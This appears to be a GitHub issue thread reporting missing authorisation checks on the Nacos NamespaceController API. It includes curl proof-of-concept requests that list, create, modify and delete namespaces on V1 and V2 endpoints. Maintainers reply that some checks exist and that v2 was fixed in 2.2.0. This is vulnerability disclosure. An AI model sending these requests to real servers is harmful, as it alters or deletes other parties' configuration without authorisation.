Nacos Unauthorized Vulnerability About NamespaceController

[waterrr]

Nacos Unauthorized Vulnerability About NamespaceController

Hi,I am a security researcher focusing on cloud-native related risks.
When operating on the Namespace in question through the API, even if auth is turned on, it is still possible to operate without authorization.

I've turned on auth
nacos.core.auth.enabled=true

POC：

V1:
curl -X GET 'http://localhost:8848/nacos/v1/console/namespaces'
curl -X POST 'http://localhost:8848/nacos/v1/console/namespaces' -d 'customNamespaceId=&namespaceName=dev&namespaceDesc='
curl -X PUT 'http://localhost:8848/nacos/v1/console/namespaces' -d 'namespace=dev&namespaceShowName=test&namespaceDesc=test'
curl -X DELETE 'http://localhost:8848/nacos/v1/console/namespaces' -d 'namespaceId=dev'

V2:
curl -X GET 'http://127.0.0.1:8848/nacos/v2/console/namespace/list'
curl -d 'namespaceId=test_namespace' -d 'namespaceName=test' -X POST 'http://127.0.0.1:8848/nacos/v2/console/namespace'
curl -d 'namespaceId=test_namespace' -d 'namespaceName=test.nacos' -X PUT 'http://127.0.0.1:8848/nacos/v2/console/namespace'
curl -d 'namespaceId=test_namespace' -X DELETE 'http://127.0.0.1:8848/nacos/v2/console/namespace'

As you can see both V1 and V2 are affected.
I conducted a code audit for this purpose and found some problems in this file.

console/src/main/java/com/alibaba/nacos/console/controller/NamespaceController.java

The code in question is in the above file, and all operations regarding Namespace are not authenticated, which I think is unreasonable.

The section on Namespace operations should include authenticated code, similar to the other interfaces:
@Secured(action = ActionTypes.READ, signType = SignType.CONFIG)

This part of the interface can leak sensitive information(namespace 、namespaceShowName、namespaceDesc、configCount), attackers can even create, modify, and delete it.

Other interfaces(ServerStateController, HealthController) have similar issues, but I don't think they pose a vulnerability exploitation risk for now, and I will continue to support and follow the Nacos project in the hope that the cloud-native environment gets better and better.

[a25017012]

follow

[KomachiSion]

The v1 create delete update` namespace api contain auth check.

The list and get is no auth check because it's public data.

The v2 api has add auth check in 2.2.0 by #9671

[KomachiSion]

#9754